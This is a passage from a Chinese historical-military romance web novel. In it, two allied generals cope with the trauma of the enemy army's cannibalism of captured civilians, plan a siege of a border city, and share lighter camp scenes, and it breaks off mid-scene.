荣易下一句“**”还没来得及骂出口,就一个狗吃屎摔在了地上。
云琛眼睁睁看着荣易摔了一脸血,十几个黑鳞骑兵冲上去围住他。
再往四周看去,花绝、叶峮、那个说着一口方言的罗东东……每个人都在朝她冲过来,每个人都深陷与黑鳞骑兵的苦战。
她好想大喊一声“别追了!深入敌军腹地太危险了!”可就是没力气喊出声。
根本不忍去看兄弟们为她搏杀,她闭眼垂首,却用最后的余光瞥见一个高阔的身影,于万重黑鳞铠甲之上飞跃而来——
她紧紧闭住眼睛不敢去看,朝阳却在地平线抛出耀眼夺目的绚烂,穿透她的眼皮,似乎铁了心要她瞧瞧那人是什么不要命的模样。
霍乾念扬剑策马,挥杀不止。他浑身铠甲都沾着血,身上已有十几处伤口。
他的头盔早已在混战中被击落,露出有些凌乱的束发。
一人一马,一剑一杀,明知被引着深入黑鳞骑兵主力大军,可那双凤眸偏没有一丝畏惧与退缩,仍如星月熠熠,锋利又无畏。
剧烈的战马颠簸之中,云琛感到一道利刃贴着她的面,扎在身旁黑鳞骑兵的身上。
那黑鳞骑兵摔下马,云琛也跟着无力滑下,随之落进那个无比结实又温暖的怀抱。
不知道自己在怕些什么。
大概怕这是梦境幻觉吧,云琛迟迟不敢睁开眼。
她感到有细碎的水珠落在她的脸上,忍不住轻声问:
“阿念,下雨了吗……”
霍乾念埋首在她脸旁,呼吸发颤,鼻音浓重:
“嗯,你闭着眼,别看,雨很快就停。”
第213章 神明错乱
有鹏展翅千**,俯首凝视楠国,不见炊烟,只见连连战火。
楠国三十一年,冬末春初。
大将军曹放驻守楠国北境,几番将洛疆游兵打退出国境线,却又几番被再次入侵。
楠国中部地区,原大楚国残寇兴风作浪不止,占领大片城池意图复国,将军段捷与孟剑云在叛区主战。
东南部的狮威军,则凭绝密又精细的黑鳞骑兵营地防布图,由霍乾念列兵布阵,运筹帷幄,率狮威大军夜袭敌军营地,冲破烟城外关口险隘,大破黑鳞骑兵。
大战两天一夜,黑鳞骑兵不得不退出烟城地界,匆忙向东南逃窜;
狮威大军乘胜追击,一路高歌猛进。
连月酣战小半年,接连收复一州、六城、二十九郡、四十八县。
尽管未能一举将黑鳞骑兵杀退出国境线,但狮威大军屡战屡胜、无往不利的战绩,还是博得举国赞扬,四海遥遥相敬。
唯一遗憾的是,先前被俘虏的两万烟城百姓未能救出,为这辉煌战绩添了一败笔。
但朝廷还是大加犒劳赏赐,大行军功论赏,将士们倍感激励。
就连墨墨都凭传递军情有功被封赏,得了十麻袋貂粮和信侯位。
接着横空两则东宫令,更令狮威军振奋不已:
一则褒奖主将霍乾念用兵如神,进退有度,收复东南国土之功,官加二品狮威远征镇南将军,进二等**侯爵位,赏四百里封地食邑,赐宅田千顷;
二则赞扬上尉云琛虎胆孤勇,深入敌军筹谋机密,大小数十场战役,每战皆一马当先,所向摧陷,勇冠全军,晋升玄威少将,加赐四等子爵位。
两道东宫令一出,“霍乾念”和“云琛”这两个名字立时响彻四野,引得万千瞩目。
举国上下都知道了,那个财倾天下的霍帮少主,调兵遣将如有神助,算无遗策,堪称神谋;
而那个护卫出身的小小“玄都护卫”,则是硬凭真刀实枪的**,一步一流血,屡立战功,连升三级登得高位,堪称神勇。
那么,“神算”和“神勇”,如今在忙什么呢?
如果南璃君长了千里眼,将眼睛伸到固英城防线,狮威大军的中军营瞧一番——
可见伙房里,云琛正系着围裙站在案板前,一手拿着把厨刀不停地剁空气,另一只手在空中翻来覆去,好像在切菜砍肉一样。
从她僵硬的动作、半阖的眼睛,以及涣散的眼神可以看出来,她在梦游。
案板对面,霍乾念抱着胳膊直皱眉头,似乎有点想不通,云琛怎么添了个大半夜梦游的毛病?
旁边叶峮看了眼黢黑的天色,抠抠眼屎,一边小心看护云琛别切到手,一边时不时递两个土豆胡萝卜过去给她切。
不言打个大哈欠:“切吧切吧,这下厨子省事儿了,天下哪有阿琛这么体贴的将领,白天打仗,晚上帮忙备菜——哎阿琛,那胡萝卜切小块点,不然不入味。”
“闭嘴!别和梦游的人说话!”花绝一把捂住不言的嘴,“小心给阿琛整成那什么,那什么……”
“癫狂症!”荣易接话说到。
花绝很不喜欢这个说法,不愿将这三个字和云琛联系起来,忍不住瞪了下眼睛。
荣易虽因霍乾念和云琛的缘故,对霍帮人很亲切,但始终有点看不上花绝这个走后门当亲卫的“纨绔子弟”,不悦道:
“情志内伤,痰火上扰,夜晚梦游,不就是神明错乱的表现吗,有什么不对?”
花绝眉头拧起,“什么屁话!阿琛就是这段日子太累了而已!我只是想说,别这会说话,给他整吓着了!”
见花绝和荣易有要呛架的趋势,荣江和罗东东赶紧上来岔开话题:
“梦游嘛!小问题,反正云将军梦游只是喜欢在厨房切菜,又不伤人,梦呗,说不定过段时间就好了。”
“俺觉得不对劲,这小半年来,云老大经常一个人坐着发呆,闷闷不乐的,他在黑鳞骑兵营地盗防布图的时候,到底发生啥了?受啥刺激了?咋就是不肯跟俺们说呢?”
在场几人茫然面面相觑,你看看我,我看看你,最后齐齐将目光投向霍乾念,觉得他肯定知道。
但其实,霍乾念也不清楚。
云琛自从黑鳞骑兵营地回来后,就一门心思闷头打仗,连话都变少了,脸上也鲜有笑容。
无论是他找机会试探在黑鳞骑兵营地发生的事,还是想与她亲近,再或者是想各种逗趣的法子开解,云琛都表现得十分抗拒。
他不忍逼迫,只能任由她自我开解,却不想情况越来越坏,已到如今半夜梦游的地步。
“唉,站着好累,既然阿琛都切菜了,咱们就吃点呗?”不言提议完,几人立马七手八脚动起来,张罗起锅子,开始煮肉煮菜。
众人一边看顾云琛,一边打着哈欠,围起小桌子吃喝闲聊。
叶峮习惯性先为霍乾念摆好碗筷,后者却摆摆手,不肯入座:
“你们吃吧,我没胃口。”
见霍乾念的眉头几乎拧成一个疙瘩,目光一刻不敢放松地盯着云琛,生怕她做出什么危险举动,叶峮知道劝不动,但还是拿了个青梨过来。
霍乾念接过梨,刚咬一口,手一滑,不小心掉在地上,便俯身去捡,起身抬头时,恰好与云琛半阖向下的眼睛对视上,竟令他陡然一惊,冒出一身冷汗——
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>那是一种他从未在云琛眼中见过的眼神。
一种异常冰冷的凶光。
再结合她麻木僵硬的剁刀动作,就好像……
在剁一个活生生的人。
第二天,众人全都默契地没有提起云琛梦游一事。
云琛依旧和往常一样,不是忙着训兵,就是在营地巡防,连休息时都在刷马,刷完一匹又一匹,还不许人插手帮忙。
她专注地忙活这些事,便没有发现叶峮、不言和花绝,一同往烟城方向消失了好几天。
再回来时,三人脸色都差到了极点,一头扎进主账,荣江荣易两兄弟和罗东东也随后进入。
一群人在霍乾念的帐子里低声交谈了足足半日。
间或能听见什么“去黑鳞骑兵当时的驻扎营地查看过了”“挖开了他们埋掉的泔水坑”“全是……煮过的骨头”等断断续续的字句。
等主帐帘子再掀开时,众人陆陆续续走出来,看向不远处闷头刷马的云琛,全都一脸心疼到极点的难受表情。
不言走上前,轻轻握住云琛刷马刷到通红的手,接过马刷,说道:
“我来吧,阿琛,你歇一歇。”
不言的神情郑重而不容拒绝,云琛只好由他接过马刷,自己则起身去巡逻。
荣易和罗东东便亦步亦趋地跟在她身后。
每到一处巡查点,她还未来得及开口,身后两人已冲上去检查完毕。
她感觉有点莫名其妙的,转头却看到花绝眼睛通红、强忍着眼泪望着她。
她上前关心问:“你咋了,表情这么可怜?看得人怪心疼的。”
花绝一下绷不住哭出来:“阿琛,我心疼你……呜呜……”
云琛一头雾水,正想问个清楚,叶峮却已上前将花绝捂嘴拖走,边拖边给他一顿捶,手里动作发狠,表情却极其反差地带着温和:
“少主找你呢,阿琛。”
云琛被这几人弄得一愣一愣,疑惑地挠挠头,往大帐走,还未掀帘子,就听见荣江的声音在里面说:
“难怪这半年,云将军都见不得吃肉,那搞点素菜吧。这季节正是吃菱角菜的时候,掐筐嫩芽,滚水烫个三眨眼,泉水一拔,来点蒜汁、陈醋、清酱油、白盐一拌,放点辣椒碎,泼勺滚油上去——那个鲜,那个美,保准以后云将军一进厨房,就只能想到这一口。”
“好,可以,你把做法详细写下来给我。”霍乾念说完,云琛随即掀帘而入,荣江立即乖觉退下。
她问霍乾念:
“你在干嘛?怎么大家都看着神神叨叨的?”
霍乾念没有接话,笑道:“走,我带你去后山坡玩——寻些菱角菜,给你做好吃的。”
第214章 您要杀谁?
霍乾念说完,云琛瞪大了眼睛,一连发出好几个灵魂拷问:
“你?挖菱角菜?给我?做饭?”
她伸出一根手指,上下将霍乾念指了好几个来回。
看着那张自小锦衣玉食、千人护卫万人伺候、从没受过世俗毒打的脸,只怕连厨房里的油盐酱醋都分不清。
她感觉这辈子都不能将“挖野菜”“拌凉菜”这样的字眼,和眼前这位联系起来。
但霍乾念却一脸“踌躇满志”,拎着筐,扛着小锄头,硬拉她跑到后山背坡地,掏出荣江事先给他画好的“菱角菜”图样,开始到处挖挖捡捡。
“琛儿,你坐阴凉下歇着,我很快寻够。”
他将袍子下摆系起来,袖子高高挽起,露出结实的小臂,在野草丛里忙忙碌碌。
“你确定?”她托腮坐在树下,无语地看着他一会儿撅着腚,挖出两棵狗都不吃的野杂草,一会儿不小心一脚滑进泥窝里,靴子都差点拔不出来。
再或者将蝎子草当宝贝,挖出来一棵,拍拍叶子掸掸土,然后刺得满手发痛,呲牙咧嘴地直甩手,还安慰自己:
“没事没事。”
她从旁看得无奈又好笑,连连摇头。
等他终于挖满一筐野菜,立刻马不停蹄地拉着她回营地伙房。
走进伙房门的时候,他虽没有去看她,却明显察觉到她身子一僵。
但他并不发问,只当个没事人一样,开始择菜、清洗。
“荣江说第一步要先干什么来着?”他掏出怀里荣江写好的菜谱,小跑着去拾柴烧水,不忘继续对云琛嘱咐:
“琛儿只管坐着,我马上做一道绝顶好吃的凉菜出来哟——”
结果云琛在小板凳上坐了快半个时辰,霍乾念炉子下的火还没升起来。
他像只大螳螂一样,伸着长腿,俯身趴在炉膛口,拼命地对着里面扇风、吹气,火还没旺起来,整个伙房已浓烟滚滚。
这惹得许多将士以为着火,都跑过来救援,却见霍乾念一脸黑灰地咳嗽着,对众人摆手:
“没事没事。”
好不容易将火烧起来,他动作笨拙地将野菜扔进去,又掏出菜谱翻看,嘴里嘟囔:
“烫三眨眼?这是什么神秘仪式吗?”
虽然不懂,但他还是严谨地遵循每一个做菜步骤,将脸凑到锅前,认认真真地对着那锅野菜眨了三下眼。
这一幕给云琛看乐了,“扑哧”一下笑出声。
霍乾念也咧嘴高兴着,然后笨手笨脚地将野菜捞出来,开始在调料架上翻找。
“先拿个盐。”他一边念叨,一边拿出一瓶白薯粉。
“再拿个醋。”他“聪明”地打开瓶盖闻了闻,然后将酸梅酱倒了出来。
最后门口围观的将士里,管伙房的军厨实在看不下去了,将头伸进门,试探地问道:
“将军,要不我来?您都弄好大半了,我来拌一下就成。”
犹豫了一下,霍乾念点头同意。
军厨立刻卷起袖子,三下五除二拌好一盘漂亮的凉菜,挑起一筷子,感叹道:
“好嫩的虎掌草,这一盘子下去,保管上吐下泻,半夜就能上西天——话说将军您亲自挖草、做成菜,这么高的规格,这么猛的毒性,您是要杀谁?”
霍乾念愣了。
他看看盘子里费了九牛二虎之力才挖来的美味**,看看军厨,又看看云琛,一脸吃惊犯傻的表情,终于令云琛绷不住,哈哈大笑起来。
“哈哈哈……”云琛捧着肚子,笑得前仰后合。
从来没见过高高在上不苟言笑的霍大将军出糗,周围的将士们也都哄笑起来,然后立马被有眼色的军厨通通驱赶走。
待伙房里又剩下二人时,云琛笑够了,摸了把眼角笑出的泪,学着他今日的口头禅,假正经地安慰他:
“没事没事。”
他仰头大笑起,爽朗的笑声似要将伙房顶都掀了。
两人就为这么点“凉菜”小事,像两个二傻子似的,互相对着笑了许久。
云琛脸上的阴霾终于散去许多。
笑过后,她蜷成一团,将自己抱住,轻声问:
“看样子你们都知道了,是吗?”
霍乾念挨着她坐下,将刚从储缸里翻出的一个新鲜果子递给她,“恩”了一声。
他是知道了。
叶峮,花绝,不言,包括荣易他们,也都知道了。
原本只是担心她的梦游症,想着既然她梦游来到伙房,那么她的心结多半和黑鳞骑兵的烟城营地的伙房有关。
众人猜测了许多,想她当时潜入对方营地被抓后,也许被关在伙房殴打,也许见证了烟城的俘虏被**。
甚至最坏的一种猜想,令叶峮想到却不敢说出来的,是云琛可能被发现女儿身,被人在伙房侮辱了……
可当叶峮三人受霍乾念之命,连夜飞奔到烟城外的黑鳞骑兵营地旧址时。
看着那早已在敌军撤退时被拆得七零八落的伙房,那每一块木板上的斑斑血迹,叶峮心里罕见地升起异样恐惧。
他从一块木板缝隙里掏出一撮人的头发,咬了咬牙,对花绝和不言道:
“动手!挖泔水坑!”
很快,那些被黑鳞骑兵刻意掩埋掉的痕迹,一点点被翻出来。
头骨,肋骨,腿骨。
男女老少
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,大大小小都有……
密密麻麻的骷髅残骨摞在一起,不见一块皮肉。
不言直接崩溃,趴在坑旁大吐特吐,呕得心肝脾肺都差点吐出来。
花绝骇得头皮都炸了,整个人都是麻的。
到那一刻,他们才终于懂了这小半年来,云琛为何沉寂至此。
光是看着这些残骸,已足够让三个大男人浑身发冷,话都说不出。
可云琛啊,她却亲眼见到了那一切……
那些惨无人道的黑鳞骑兵,是当着她的面,将一个个活生生的老百姓……
讲述这些的时候,叶峮三人几度泣不成声。
他们可怜云琛,更可怜那两万烟城老百姓。
同时他们也终于明白了云琛的良苦用心。
她沉默不说,是怕一旦走漏黑鳞骑兵**的消息,会令全军震动,士气大减。
怕那些苦无战马、只靠两条腿跑着的将士,去与骑高头大马的凶狠敌军作战时,满肚子只有怕被俘虏怕被吃的胆怯。
军心若乱,这仗真真要未打先败了,怎有机会像现在这样风光勇猛地打到固英城来。
“现在还不能将消息传出去。”云琛说,“得等我们的将士有足够的战马装备,有足够的信心时,再将黑鳞骑兵的恶行公布于世。”
“我明白。届时‘怕’都变成‘仇’,才是令全军勇战的上策。”霍乾念心疼地搂住她,“只是我的琛儿太苦了,若早些……”
他想说,为什么不早点告诉我,只告诉我一个人,让我来安慰你,替你分担该多好?
可话未说完,他已明白。
她根本说不出口。
若要她回忆复述那当时惨烈,无异于再逼她经历一遍。
那种绝望和痛苦实非常人能承受。
况且是云琛,这个已将保护国家和百姓视为天职的家伙。
这份眼睁睁看着烟城老百姓惨死的自责和愧疚,让她根本张不开口。
几个月前那颗渴望建功立业的心,此刻已布满阴霾。
“两万人,琛儿,你不是三头六臂的神,怎可能救得了那么多人?若换成我在那样的情景,我不可能做的比你好……”
霍乾念两手捧住她的脸,坚定地注视着她的眼睛:
“琛儿,永远别忘记,是因为你的防布图,我们才攻破黑鳞骑兵拒守的险隘。至此收复的每一寸国土,得救的一个百姓,都是你的功劳。”
云琛没有说话,她目光震颤,缓缓落下两行热泪。
他轻轻亲吻她的眼睛,心疼地抱住她,语气变得平静而森然:
“不着急。黑鳞骑兵做的孽,我们一定加倍奉还!”
第215章 少年与长剑
一直以来,为了避嫌,霍乾念与云琛不论白天怎么黏在一起,到了夜里都会分开,各自回帐。
但这一夜,已半年没睡过一个好觉的云琛,第一次宿在了霍乾念的大帐。
两人严丝合缝地关着账帘,只留一盏微灯,靠在一起轻声说话。
时不时有霍乾念响铃般的笑声传出来,这令大帐外值守的荣江和荣易表情十分精彩,忍不住互相对视一眼。
荣易掏了掏耳朵,自觉又朝外挪了几步,并用眼神示意另一边的荣江也挪挪。
荣江表情纠结地看向帐篷,胃里有点咕涌,但还是被他硬生生忍下去了。
“你说,谁家将军的爱好是……是……”荣江有点说不下去。
荣易接过话,毫不掩饰地接着说:
“谁家将军的爱好是另一个将军?是吧?”
荣江赶紧捂住荣易的嘴,“你小点声!可别让别人听见了!”
荣易甩开头,满不在乎,“怕啥?他俩连耳洞都一起打了,大家都瞧见了!”
“估计是霍将军在为云将军开解心结吧,在烟城遭了那样大的事,云将军难过,兄弟之间说说话,这坎才能过去呀!不然‘云老虎’迟迟不振作起来,将士们都跟着心里发毛。”荣江编了这样一套天衣无缝的好理由。
“兄弟?”荣易撇嘴,“这话说完,你自己信不?”然后作势要去掀大帐的帘子,“要不咱俩打个赌,看他俩这会是坐在桌前对饮畅谈呢,还是一块躺床上呢?谁家‘好兄弟’谈心往床上谈?”
荣江生怕荣易这个浑家伙真去掀帘子,赶紧将他拉扯回来:
“哥,你赢了,你是我哥,行不?再别说了!”
这时,抱着一大摞“国语发音注解”书的罗东东从旁经过,看看几十丈开外的帐篷,又看看荣江和荣易值守的站位,不解问道:
“二位哥,不是值守吗?咋站在路中间?”
荣易并不接话,只咧嘴坏笑:
“哎呦,罗营长又要去找知罗军师学国语?你跑得比小煤球都勤呐!”
罗东东脸一红,对荣易做了个“揍你”的手势,大喊:“俺是认真学习去的!恁别瞎说!”随即高高兴兴地往知罗帐子而去。
一进军师帐,罗东东立刻闻见那熟悉的清甜香味。
在这永远弥漫着臭男人臭汗里味的军营里,只有知罗的帐子干干净净,摆着清香怡人的鲜花。
看到罗东东走进来,知罗露出亲切的笑容:
“罗营长来了。”
罗东东凭借杀了黑鳞骑兵一个副将的功劳,如今已晋升大刀营营长。
升官以来,他最喜欢听别人喊他“罗营长”,唯独在知罗这里,他红着脸,不好意思道:
“军师大人,您还是喊俺‘罗东东’吧,听着自在些。”
知罗笑笑,“你不是也喊我‘军师大人’吗?”
罗东东愣了一下,随即脸更红,小声叫了句“知罗姑娘……”
知罗招手,示意罗东东坐在书桌旁。
如往常一样,她一边收拾桌上散落的纸笔和书卷,一边随意和罗东东聊闲话:
“这几日很忙吧,几乎见不到霍将军和云将军的面。你若也忙,等几日再来学国语也不急。”
罗东东从口袋里掏出一把干鸡肉丝,逗弄着信侯大人“墨墨”,嘴里道:
“不忙不忙。云将军在烟城时受罪了,霍将军天天忙着陪吃陪喝,今日直接陪睡——合一个帐子了。所以最近不太管我们,我清闲着呐!”
“哐当”一声,知罗手中的笔筒慌乱坠落,毛笔哗啦啦散了一地,吓了墨墨一跳。
罗东东并未留意到知罗略显苍白的脸色,光顾蹲地上拾毛笔。
等他收拾好笔筒,起身递给知罗时,她已面色如常,笑意和平常一样温柔又清浅。
“今日学这首吧——”知罗打开一本国语诗集,两句诗撞入眼帘,叫她唇口发涩,酸到张不开口。
罗东东仔细辨认书上的诗句,一字一句念道:
“行路难,行路难,何处是平道。中心无事当富贵,今日看君颜色好。”
知罗喃喃开口,接上后面的句子:
“少年恃险若平地,独倚长剑凌清秋。行路难,行路难……”
脑子里最多两根筋的罗东东,并未听出知罗语气里的忧伤与寂寥,也看不懂这句诗的意思,只能道:
“长剑?霍将军就是使长剑的,好像叫‘隐月剑’,可厉害了!”
“是吗……”知罗轻声回应,脑海里却浮现出小半年之前,烟城之战结束后,那清冷
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月光下的一幕:
月色凉如水,繁星伴天河。
那面容姣好如新月的女子,立在挂满雪的枝头下。
女子身旁,是那一身血染戎装的少年将军。
女子抬起手,柔柔抚摸向少年将军的额头,理去微乱的碎发。
少年将军顺从地低下头,一语不发,只定定注视着眼前人。
多么美好……美好得令人心碎的一幕……
“少年恃险若平地,独倚长剑凌清秋。你是这天下数一数二的,我信你,我……留在烟城吧,不陪你继续走了。”
少年将军的神色变得复杂,有欣慰,有不解,还有一丝落寞,“也好……可是为什么呢?”
女子盈盈笑起,笑容坦率又纯粹:
“认识你这么久,到这里刚刚好。我想守着那个没有离开烟城的你……不是说现在的你不好,只是从前的你太珍贵了……我舍不得这么快忘记……我想再守一会儿……况且,我总不能永远依附于你,我可以追着你,前提是与你同样有本事,不是吗?”
少年将军似乎听不懂这些话,沉默许久后,朗声笑道:
“好。那你保重。”
说罢,少年将军手持长剑,翻身跨上马,头也不回地朝前奔去……
就这样一幕简简单单的告别而已。
什么逾矩也没有,什么肝肠寸断也没有。
偏偏知罗就站在不远处的树后,瞧见了一切。
偏偏她知罗聪慧绝顶,所以清楚又分明地感受到二人之间的剪不断理还乱的情真意切。
真嫉妒,嫉妒得让人想要发狂。
罗东东终于察觉到知罗的脸色不太好,试探着问:
“知罗姑娘,你身体不舒服吗?要不要告假休息几日,我帮你去同霍将军说吧?”
深吸一口气,知罗站起身,整理罗裙。
“不必,我自己去——去见霍将军。”
来到霍乾念的主帅大帐外,还未靠近,知罗就清楚地听见霍乾念笑声朗朗,将云琛的说话声裹在其中。
见知罗直直地朝帐篷走来,却又僵站在帐子外不动,荣江便问:
“军师有事找将军?我去通报一声吧?”
知罗摆手表示不用,随即一言不发,转身离去,看得荣江和荣易莫名其妙的。
第216章 实在羞愧
人们都说,霍将军与云将军战胜无双。
但如今还有一个名号,已远比“狮威将军”和“玄威将军”传得更远、更令人闻之变色——
羊人将军:焦左泰。
把“人”当作“羊”,俘虏,圈养,宰杀,吃肉。
吃着楠国人,打着楠国人。
毁灭般**烧,将百年古城付之一炬,留下一座座断壁残垣后,羊人将军焦左泰,带着二十万以人为食的黑鳞骑兵扬长而去。
原本,关于这恐怖的“食人敌军”,云琛等人一直牢牢保守着秘密,生怕动摇军心。
可千里迢迢,城池无数,黑鳞骑兵所经之处犹如蝗虫过境。
只要看见楠国百姓,那黑鳞骑兵就好像三天没进食的饿狼见了羊,不是随手**,就是通通俘虏。
不论男女老幼,先**奴役,后残忍杀之,最后进了锅里,成了黑鳞骑兵的军粮。
一开始,焦左泰等尚且知道挖个泔水坑,将白骨堆埋起来,掩盖此灭绝人性的食人行径。
可后来战争时间一长,战况一急,他们索性连掩藏都不掩藏了。
霍乾念和云琛一路讨伐追击,穷追不舍,便一路看见浮尸千里,哀鸿遍野,累累带血白骨堆在路边,令所有狮威军将士震惊之余纷纷落泪。
揣着这腔国仇家恨,狮威军一口气将黑鳞骑兵打退到边境固英城。
因为接连收复战区失地的关系,狮威军沿途已留下近十万人守城池,担重建城邦、抚慰民生的重任;
叶峮和花绝担负重建各地霍帮堂口的重责,亦带着霍帮弟兄们急急奔走四方。
如今狮威军兵力二十万,与牢牢霸占固英城的二十万黑鳞骑兵人数相当。
只是一来,固英城易守难攻,城周山野密布,地形复杂,狮威大军处于地形劣势;
二来,黑鳞骑兵二十万人,战马优越,实力远超狮威军的两万骑兵。
且自“羊人将军”的事传出后,狮威军的将士们士气大减,倍感受挫,大家都说“没有战马怎么打?跑都跑不过,还没跑两步呢,就被抓去当‘军粮’了!”
三来,固英城里还有自沦为敌军控制区之后,被俘虏的两万东炎兵为人质——
以及已被俘虏半年之久、不知生死的拂晓将军颜十九。
狮威军硬攻不得,战事再次陷入对峙胶着。
霍乾念与云琛率一众军师、副将、得力干将,在主帅大帐苦思数日,却筹谋不出任何决胜之计。
知罗道:“固英城如今铁板一块,硬攻代价太大,还是伐谋为上。是否设计引蛇出洞,可以战之。”
荣易砸吧了下牙花子,“军师所言有理,但城周群山环绕,原野、河流、沼泽多,地形复杂,我们马匹少,不及敌军战马强壮优良,就算用计将敌人引出来,只怕也不占优势,跑不过啊!”
荣江沉思半晌,指着地图上固英城侧后方,试探着提议:
“要不我们绕远,绕出东边边境,反向把黑鳞骑兵内外包抄了?”
话音落下,见所有人都用一种看傻子的眼神看着自己,荣江有点不好意思,但还是问道:
“怎么……我这提议很差劲吗?”
荣易揽住荣江脖子,揶揄笑道:“不差劲,妙得很!”然后指着地图,骂道:
“东边这是啥,瞧见那几个字了没?‘临天峰’,全楠国最高最陡峭的峰群!老鹰都无法飞跃,你给我说说数十万人怎么过去?梦游过去?”
荣江臊得脸通红,不再说话,一旁的罗东东却接过话头,指着南边一大片空白区域,问:
“这儿呢?从这过去呗!”
荣易一脸嫌弃,忍不住给了罗东东头上一下,“你他娘是活爹吧?那是海!咱们数十万人怎么过去?花三十年造船?还是花三百年变鱼?”
见罗东东被说得脸上挂不住,知罗赶忙出来解围,柔和的声音**来,一下缓解了气氛:
“倒不必费时间造可载万人的战船,若能有数百艘船,可载千人也行,作先锋部队杀进固英城。城一破,剩余主力便可攻了。”
这倒是个办法。
众人齐齐看向霍乾念和云琛。
云琛直摇头:“不可。战船越靠岸,速度越缓。”她用手在地图上比画一拃,继续道:
“最后这点距离,只靠将士们徒步冲锋,只怕全成活靶子了。”
霍乾念点头赞同,“若能解决最后这点距离快速行进的难事,加上霍帮的船,水战偷袭倒可一试。”
解决一个难题,就立马冒出来一个新的难题。
众人对着地图围成一圈,苦思冥想。
良久,罗东东异想天开道:
“咱就是马太少了,黑鳞骑兵二十
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万战马,咱就两万。两条腿跑不过,也踹不动城门。不然最后一点距离,可以直接策马跳船,冲上岸去,风一样杀进固英城!”
荣易眼皮子都没有抬一下,扬手就给了罗东东脑袋一下。
所有人都把罗东东的话当作玩笑,耳朵听过便作罢。
只有云琛脸色一僵,一副欲言又止的样子。
霍乾念看在眼里,眼尾轻挑,又很快落下,心中已惊动,面上却没有一丝波澜。
同样留意到云琛的还有知罗,她目露疑惑,刚想发问,霍乾念却已轻描淡写地开口:
“还是好好琢磨陆战攻城,其他不必多想。”
说罢,霍乾念不经意地看了知罗一眼,一个微厉的眼神,立刻将知罗心中疑惑摁下。
商议了大半日无果,见时已入夜,霍乾念命众人各自休息,只将知罗留下。
似乎预感到要面对上级的斥责,知罗站定帐中,神情忐忑,强作镇定肃然。
霍乾念倒没有什么特别的表情,只淡淡瞧着知罗,一语不发,一句不说,一直看到知罗心里发毛为止。
和云琛即使做了少将,也和将士们说说笑笑,十分亲近,没有架子不同。
霍乾念就算没有任何官职,只一个人端端坐在那里,便是整个人散发着强势凌厉、泰然自若的上位者气势。
可这种气势,他偏会在云琛面前收敛得干干净净。
一想到这里,知罗便心口猛烈发酸,让她几乎要绷不住面皮。
“将军是要斥责半年前在烟城的事吗?我胡乱提议,叫云将军孤身犯险去盗防布图,差点折了性命?”
霍乾念不置可否,也不说话。
知罗只好又问:“那是为今日之事?我的确注意到云将军想说些什么,但这次我没有贸然提出来。”
霍乾念还是不说话。
望着那双仿佛洞察一切的凤眸,知罗心里有点急了,直接道:
“知罗若有错处,请将军明示!”
霍乾念摇头,开口却让知罗汗颜不已:
“军师多虑了。如今除了攻固英城,还有一件事更重要,那就是城内百姓和东炎俘虏兵的安危。此事需秘密进行,以防生变,但请军师思量对策。”
霍乾念心系百姓,她知罗却满心想私,实在羞愧。
避开霍乾念的目光,知罗赶紧领命退下。
第217章 战马
另一边,议事罢,云琛回到自己帐中,没心思洗漱就寝。
她心里乱得很,满脑子都是纷扰往事裹缠着一件事:
战马,战马,战马。
每每心乱时,她都习惯整理东西,将周围整理得越干净,她的心也能越平静。
她在帐子里忙忙碌碌许久,翻出一个漂亮的雕花大木盒,不禁动作慢了下来,坐到了小窗边。
这盒子从外面看其貌不扬,里面却是一个精致的四十八方格银盘。
每个小格子里都放着一副耳环,大大小小、长短不一,有鸽子血红宝石的,有紫珍珠的,有猫眼绿宝石的,还有赤金镶海蓝的……
每一副风格不同,造型不同,却都贵重到令人咋舌。
这便是她荣升少将时,山寂差人送来的贺礼。
当时东宫令前脚刚宣读完,后脚就有一个狂拽炫酷吊炸天的无义血卫,将这礼盒送进了狮威军,惹得霍乾念忍不住嘟囔:
“山寂这家伙倒是有耳报神,不好好做他的血卫掌门,却注意着我狮威军的战场,就差来得比东宫令还快!瞧他手下那拽上天的德性,简直跟他一模一样!”
云琛还安慰他:“飞鱼哥哥与我有儿时情谊在,自然是关心我的。”
这样价值连城的贵重礼物,云琛小心收纳,从来没打开细看过。
一来她怕暴露女子身份,被人看见她有这么一大盒耳环,就算不误会她是女子,也将她当作变态。
二来,长久心情郁结着,她也着实没心思妆点。
此番被霍乾念“挖野菜”“表演凉拌**”地耍宝开解后,她心情好了许多,终于想起翻看这些耳饰。
她拿起一副银星蓝宝石的耳珰瞧瞧,又拿一副黄玉葫芦缠金丝的耳坠,对着镜子试戴了一下。
镜子里,那圆润的珠子坠在她清瘦的脸颊旁,颇有少女的娇俏。
她望着镜子,看着里面脸色苍白、眼眸清冷布满愁绪的自己,觉得分外陌生。
“啪”的一声,她将镜子扣在桌面上,而后望向高悬夜空的月亮,陷入久远的思绪。
等她回过神来的时候,手边已是红纸焚烧过后的灰烬,一只血红色的鸽子正站在窗户前,歪头看着她。
她这才反应过来自己走神的时候干了什么,也不管那鸽子能不能听懂,赶忙道:
“抱歉,辛苦你白跑一趟,我不需要无义血卫来干什么,我就是一时走神,不小心烧了张红纸,你听懂了吗?”
血鸽显然没听懂,看了眼她身旁金光灿灿的一大盒耳饰,显然将此认成了她“雇佣无义血卫**的报酬”,立马扑扇着翅膀就往空中飞,云琛只得胡乱摘下耳环,赶紧追上去。
鸽子飞离帐子,快速飞向夜空,云琛使出浑身功夫,连蹦带跳,硬是连鸽子**都没碰上。
于是,在几个守夜将士的注目下,只见他们那新上任不久的少将,好像大半夜中邪了一般,一个人对着空气手舞足蹈不说,嘴里还喊着什么:
“乖鸽子好鸽子不告状的是棒鸽子!小煤球在哪儿?来一下!快帮我抓鸟!”
眼见鸽子越飞越远,云琛只得放弃。
原以为,血鸽走后,山寂从昭国赶过来,怎么也得十天半个月。
谁知不过两日时间,山寂便出现在云琛的帐子里。
彼时云琛刚午睡醒,一翻身,瞧见帐子里凭空冒出一个血红色的人影,浑身充满煞气,吓得她差点叫出声。
“飞鱼哥哥,你怎么潜进来的?我狮威军防备这么不严密吗?”她惊异。
山寂无所谓地耸耸肩,摊开手中一枚山隐月的腰牌,道:
“先去霍帮堂口偷了你们腰牌,然后在大门口递牌子进来的。你们营地看守严,不好潜进。”
云琛半张着嘴,不知道该说什么。
军队令牌偷不到,偷凭霍帮令牌进来倒也是个办法。
但要从大门口正大光明地走进来,必然要层层检查通报,估计山寂都已见过霍乾念了,才能来见她。
果然,山寂面露不爽,道:
“霍乾念那小子当了将军,架子还挺大。哪天我非要找个由头收拾他!”
云琛笑笑,赶忙起身为山寂倒茶。
茶水有些凉,她便倾倒掉,自己提水煮了一壶。
瞧云琛俨然一副独立惯了,照顾自己十分娴熟的样子,山寂皱起眉头:
